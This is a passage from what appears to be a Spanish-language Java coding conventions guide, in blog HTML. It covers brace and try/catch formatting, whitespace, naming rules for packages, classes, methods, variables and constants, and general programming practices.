final de bloque "}" debe situarse en una nueva línea tras la última línea del bloque y alineada con respecto al primer carácter de dicho bloque.</span><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><span style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;">Todas la sentencias de un bloque deben encerrarse entre llaves "{ ... }", aunque el bloque conste de una única sentencia. Esta práctica permite añadir código sin cometer errores accidentalmente al olvidar añadir las llaves. Ejemplo,</span></span><br />
<pre style="color: #333333; font-size: 14px; line-height: 20.2859992980957px;"><span style="background-color: white;">
if (condicion) {
variable++;
}</span></pre>
<span style="background-color: white;"><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><span style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;">La sentencia "try/catch" siempre debe tener el formato siguiente,</span></span><br />
<pre style="color: #333333; font-size: 14px; line-height: 20.2859992980957px;"><span style="background-color: white;">
try {
sentencias;
} catch (ClaseException e) {
sentencias;
}</span></pre>
<span style="background-color: white;"><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><span style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;">En el bloque "catch" siempre se imprimirá una traza de error indicando el tipo de excepción generada y posteriormente se elevará dicha excepción al código invocante, salvo que la lógica de ejecución de la aplicación no lo requiera.</span><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><span style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;">Siempre se utilizará el bloque "finally" para liberar recursos y para imprimir trazas de monitorización de fin de ejecución.</span></span><br />
<pre style="color: #333333; font-size: 14px; line-height: 20.2859992980957px;"><span style="background-color: white;">
try {
sentencias;
} catch (ClaseException e) {
sentencias;
} finally {
sentencias;
}</span></pre>
<span style="background-color: white;"><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><span id="1_7_espacios" style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; font-weight: bold; line-height: 20.2859992980957px;">1.7. Espacios en blanco</span><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><span style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;">Las líneas y espacios en blanco mejoran la legibilidad del código permitiendo identificar las secciones de código relacionadas lógicamente.</span><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><span style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;">Se utilizarán espacios en blanco en los siguientes casos:</span><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><span style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;">Entre una palabra clave y un paréntesis. Esto permite que se distingan las llamadas a métodos de las palabras clave. Por ejemplo:</span></span><br />
<pre style="color: #333333; font-size: 14px; line-height: 20.2859992980957px;"><span style="background-color: white;">
while (true) {
...
}</span></pre>
<span style="background-color: white;"><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><span style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;">Tras cada coma en un listado de argumentos. Por ejemplo:</span></span><br />
<pre style="color: #333333; font-size: 14px; line-height: 20.2859992980957px;"><span style="background-color: white;">
objeto.unMetodo(a, b, c); </span></pre>
<span style="background-color: white;"><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><span style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;">Para separar un operador binario de sus operandos, excepto en el caso del operador ("."). Nunca se utilizarán espacios entre los operadores unarios (p.e., "++" o "--") y sus operandos. Por ejemplo:</span></span><br />
<pre style="color: #333333; font-size: 14px; line-height: 20.2859992980957px;"><span style="background-color: white;">
a += b + c;
a = (a + b) / (c + d);
contador++;</span></pre>
<span style="background-color: white;"><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><span style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;">Para separar las expresiones incluidas en la sentencia "for". Por ejemplo:</span></span><br />
<pre style="color: #333333; font-size: 14px; line-height: 20.2859992980957px;"><span style="background-color: white;">
for (expresion1; expresion2; expresion3)</span></pre>
<span style="background-color: white;"><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><span style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;">Al realizar el moldeo o "casting" de clases. Ejemplo:</span></span><br />
<pre style="color: #333333; font-size: 14px; line-height: 20.2859992980957px;"><span style="background-color: white;">
Unidad unidad = (Unidad) objeto;</span></pre>
<span style="background-color: white;"><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><span id="1_8_nomenclatura" style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; font-weight: bold; line-height: 20.2859992980957px;">1.8. Nomenclatura de identificadores</span><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><span style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;">Las convenciones de nombres de identificadores permiten que los programas sean más fáciles de leer y por tanto más comprensibles. También proporcionan información sobre la función que desempeña el identificador dentro del código, es decir, si es una constante, una variable, una clase o un paquete, entre otros.</span><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><span id="1_8_1_paquetes" style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; font-weight: bold; line-height: 20.2859992980957px;">1.8.1. Paquetes</span><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><span style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;">Se escribirán siempre en letras minúsculas para evitar que entren en conflicto con los nombres de clases o interfaces. El prefijo del paquete siempre corresponderá a un nombre de dominio de primer nivel, tal como: es, eu, org, com, net, etc. </span><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><span style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;">El resto de componentes del paquete se nombrarán de acuerdo a las normas internas de organización de la empresa: departamento, proyecto, máquina, sección, organismo, área, etc.</span><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><span style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;">Generalmente se suele utilizar el nombre de dominio de Internet en orden inverso. Cuando dicho nombre contenga un carácter "-", este se sustituirá por el carácter "_".</span><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><span style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;">Ejemplos:</span></span><br />
<pre style="color: #333333; font-size: 14px; line-height: 20.2859992980957px;"><span style="background-color: white;">
es.provincia.organismo1.festivaldecine
es.provincia.organismo2.vivienda
es.provincia.organismo3.juventud
es.provincia.organismo3.formacion
es.provincia.organismo3.gestionturistica
java.util.ArrayList
java.util.Date
java.util.Properties
javax.servlet.http.HttpServletRequest
javax.servlet.http.HttpServletResponse</span></pre>
<span style="background-color: white;"><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><span id="1_8_2_clases_interfaces" style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; font-weight: bold; line-height: 20.2859992980957px;">1.8.2. Clases e interfaces</span><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><span style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;">Los nombres de clases deben ser sustantivos y deben tener la primera letra en mayúsculas. Si el nombre es compuesto, cada palabra componente deberá comenzar con maýusculas.</span><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><span style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;">Los nombres serán simples y descriptivos. Debe evitarse el uso de acrónimos o abreviaturas, salvo en aquellos casos en los que dicha abreviatura sea más utilizada que la palabra que representa (URL, HTTP, etc.).</span><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><span style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;">Las interfaces se nombrarán siguiendo los mismos criterios que los indicados para las clases. Como norma general toda interfaz se nombrará con el prefijo "I" para diferenciarla de la clase que la implementa (que tendrá el mismo nombre sin el prefijo "I").</span></span><br />
<pre style="color: #333333; font-size: 14px; line-height: 20.2859992980957px;"><span style="background-color: white;">
class Ciudadano
class OrganigramaDAO
class AgendaService
class IAgendaService</span></pre>
<span style="background-color: white;"><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><span id="1_8_3_metodos" style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; font-weight: bold; line-height: 20.2859992980957px;">1.8.3. Métodos</span><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><span style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;">Los métodos deben ser verbos escritos en minúsculas. Cuando el método esté compuesto por varias palabras cada una de ellas tendrá la primera letra en mayúsculas.</span></span><br />
<pre style="color: #333333; font-size: 14px; line-height: 20.2859992980957px;"><span style="background-color: white;">
public void insertaUnidad(Unidad unidad);
public void eliminaAgenda(Agenda agenda);
public void actualizaTramite(Tramite tramite)</span></pre>
<span style="background-color: white;"><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><span id="1_8_4_variables" style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; font-weight: bold; line-height: 20.2859992980957px;">1.8.4. Variables</span><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><span style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;">Las variables se escribirán siempre en minúsculas. Las variables compuestas tendrán la primera letra de cada palabra componente en mayúsculas.</span><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><span style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;">Las variables nunca podrán comenzar con el carácter "_" o "$". Los nombres de variables deben ser cortos y sus significados tienen que expresar con suficiente claridad la función que desempeñan en el código. Debe evitarse el uso de nombres de variables con un sólo carácter, excepto para variables temporales. </span></span><br />
<pre style="color: #333333; font-size: 14px; line-height: 20.2859992980957px;"><span style="background-color: white;">
Unidad unidad;
Agenda agenda;
Tramite tramite;</span></pre>
<span style="background-color: white;"><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><span id="1_8_5_constantes" style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; font-weight: bold; line-height: 20.2859992980957px;">1.8.5. Constantes</span><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><span style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;">Todos los nombres de constantes tendrán que escribirse en mayúsculas. Cuando los nombres de constantes sean compuestos las palabras se separarán entre sí mediante el carácter de subrayado "_".</span></span><br />
<pre style="color: #333333; font-size: 14px; line-height: 20.2859992980957px;"><span style="background-color: white;">
int LONGITUD_MAXIMA;
int LONGITUD_MINIMA;</span></pre>
<span style="background-color: white;"><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><span id="1_9_practicas" style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; font-weight: bold; line-height: 20.2859992980957px;">1.9. Prácticas de programación</span><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><span id="1_9_1_visibilidad" style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; font-weight: bold; line-height: 20.2859992980957px;">1.9.1. Visibilidad de atributos de instancia y de clase</span><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><span style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;">Los atributos de instancia y de clase serán siempre privados, excepto cuando tengan que ser visibles en subclases herederas, en tales casos serán declarados como protegidos.</span><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><span style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;">El acceso a los atributos de una clase se realizará por medio de los métodos "get" y "set" correspondientes, incluso cuando el acceso a dichos atributos se realice en los métodos miembros de la clase.</span></span><br />
<pre style="color: #333333; font-size: 14px; line-height: 20.2859992980957px;"><span style="background-color: white;">
public class Unidad {
private int id;
private String nombre;
...
public void actualizaUnidad(Unidad unidad) {
this.setId(unidad.getId());
this.setNombre(unidad.getNombre());
}
...
}</span></pre>
<span style="background-color: white;"><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><span id="1_9_2_referencias" style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; font-weight: bold; line-height: 20.2859992980957px;">1.9.2. Referencias a miembros de una clase</span><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><span style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;">Evitar el uso de objetos para acceder a los miembros de una clase (atributos y métodos estáticos). Utilizaremos en su lugar el nombre de la clase. Por ejemplo:</span></span><br />
<pre style="color: #333333; font-size: 14px; line-height: 20.2859992980957px;"><span style="background-color: white;">
metodoUtilidad(); // Acceso desde la propia clase estática
ClaseUtilidad.metodoUtilidad(); // Acceso común desde cualquier clase</span></pre>
<span style="background-color: white;"><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><span id="1_9_3_constantes" style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; font-weight: bold; line-height: 20.2859992980957px;">1.9.3. Constantes</span><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><span style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;">Los valores constantes (literales) nunca aparecerán directamente en el código. Para designar dichos valores se utilizarán constantes escritas en mayúsculas y se declararán, según su ámbito de uso, o bien en una Clase de constantes creada para tal efecto, o bien en la clase donde sean utilizadas.</span></span><br />
<pre style="color: #333333; font-size: 14px; line-height: 20.2859992980957px;"><span style="background-color: white;">
// Uso incorrecto
codigoErrorUsuarioNoEncontrado = 1;
...
switch (error) {
case codigoErrorUsuarioNoEncontrado:
...
}
// Uso correcto
public final int CODIGOERROR_USUARIONOENCONTRADO = 1;
...
switch (error) {
case CODIDOGERROR_USUARIONOENCONTRADO:
...
}</span></pre>
<span style="background-color: white;"><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><span id="1_9_4_asignacion" style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; font-weight: bold; line-height: 20.2859992980957px;">1.9.4. Asignación sobre variables</span><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><span style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;">Se deben evitar las asignaciones de un mismo valor sobre múltiples variables en una misma sentencia, ya que dichas sentencias suelen ser difíciles de leer.</span></span><br />
<pre style="color: #333333; font-size: 14px; line-height: 20.2859992980957px;"><span style="background-color: white;">
int a = b = c = 2; // Evitar</span></pre>
<span style="background-color: white;"><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><span style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;">No utilizar el operador de asignación en aquellos lugares donde sea susceptible de confusión con el operador de igualdad. Por ejemplo:</span></span><br />
<pre style="color: #333333; font-size: 14px; line-height: 20.2859992980957px;"><span style="background-color: white;">
// INCORRECTO
if ((c = d++) == 0) { }
// CORRECTO
c = d++;
if (c == 0) { }</span></pre>
<span style="background-color: white;"><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><span style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;">No utilizar asignaciones embebidas o anidadas. Ejemplo:</span></span><br />
<pre style="color: #333333; font-size: 14px; line-height: 20.2859992980957px;"><span style="background-color: white;">
c = (c = 3) + 4 + d; // Evitar</span></pre>
<span style="background-color: white;"><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><span style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;">debería escribirse</span></span><br />
<pre style="color: #333333; font-size: 14px; line-height: 20.2859992980957px;"><span style="background-color: white;">
c = 3;
c = c + 4 + d; </span></pre>
<span style="background-color: white;"><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><span id="1_9_5_otras_practicas" style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; font-weight: bold; line-height: 20.2859992980957px;">1.9.5. Otras prácticas</span></span><br />
<ul style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 1.4; list-style-image: initial; list-style-position: initial; margin: 0.5em 0px; padding: 0px 2.5em;"><span style="background-color: white;"><br /></span>
<li style="border: none; margin: 0px 0px 0.25em; padding: 0px;"><span style="background-color: white;">Paréntesis<br /><br />Es una buena práctica el uso de paréntesis en expresiones que incluyan distintos tipos de operadores para evitar problemas de precedencia de operadores. Aunque la precedencia de operadores nos pueda parecer clara, debemos asumir que otros programadores no tengan un conocimiento exhaustivo sobre las reglas de precedencia.</span><pre><span style="background-color: white;">
if (w == x && y == z) // INCORRECTO
if ((w == x) && (y == z)) // CORRECTO</span></pre>
<span style="background-color: white;"><br /></span></li>
<span style="background-color: white;"><br /></span>
<li style="border: none; margin: 0px 0px 0.25em; padding: 0px;"><span style="background-color: white;">Valores de retorno<br /><br />Los valores de retorno tendrán que ser simples y comprensibles, de acuerdo al propósito y comportamiento del objeto en el que se utilicen.</span><pre><span style="background-color: white;">
// INCORRECTO
public boolean esProgramador(Empleado emp) {
if (emp.getRol().equals(ROL_PROGRAMADOR)) {
return true;
} else {
return false;
}
}
// CORRECTO
public boolean esProgramador(Empleado emp) {
boolean esUnProgramador = false;
if (emp.getRol().equals(ROL_PROGRAMADOR)) {
esUnProgramador = true;
}
return esUnProgramador;
}</span></pre>
<span style="background-color: white;"><br /></span></li>
<span style="background-color: white;"><br /></span>
<li style="border: none; margin: 0px 0px 0.25em; padding: 0px;"><span style="background-color: white;">Expresiones en el operador condicional ternario<br /><br />Toda expresión compuesta, por uno o más operadores binarios, situada en la parte condicional del operador ternario deberá ir entre paréntesis. Ejemplo:</span><pre><span style="background-color: white;">
(x >= y) ? x : y;</span></pre>
<span style="background-color: white;"><br /></span></li>
<span style="background-color: white;"><br /></span>
<li style="border: none; margin: 0px 0px 0.25em; padding: 0px;"><span style="background-color: white;">Comentarios especiales (TODO, FIXME, XXX)<br /><br />Utilizaremos XXX para comentar aquella porción de código que, aunque no tenga mal funcionamiento, requiera modificaciones. Usaremos FIXME para señalar un bloque de código erróneo que no funciona. Emplearemos TODO para comentar posibles mejoras de código, como puedan ser las debidas a optimizaciones, actualizaciones o refactorizaciones.</span></li>
<span style="background-color: white;"><br /></span></ul>
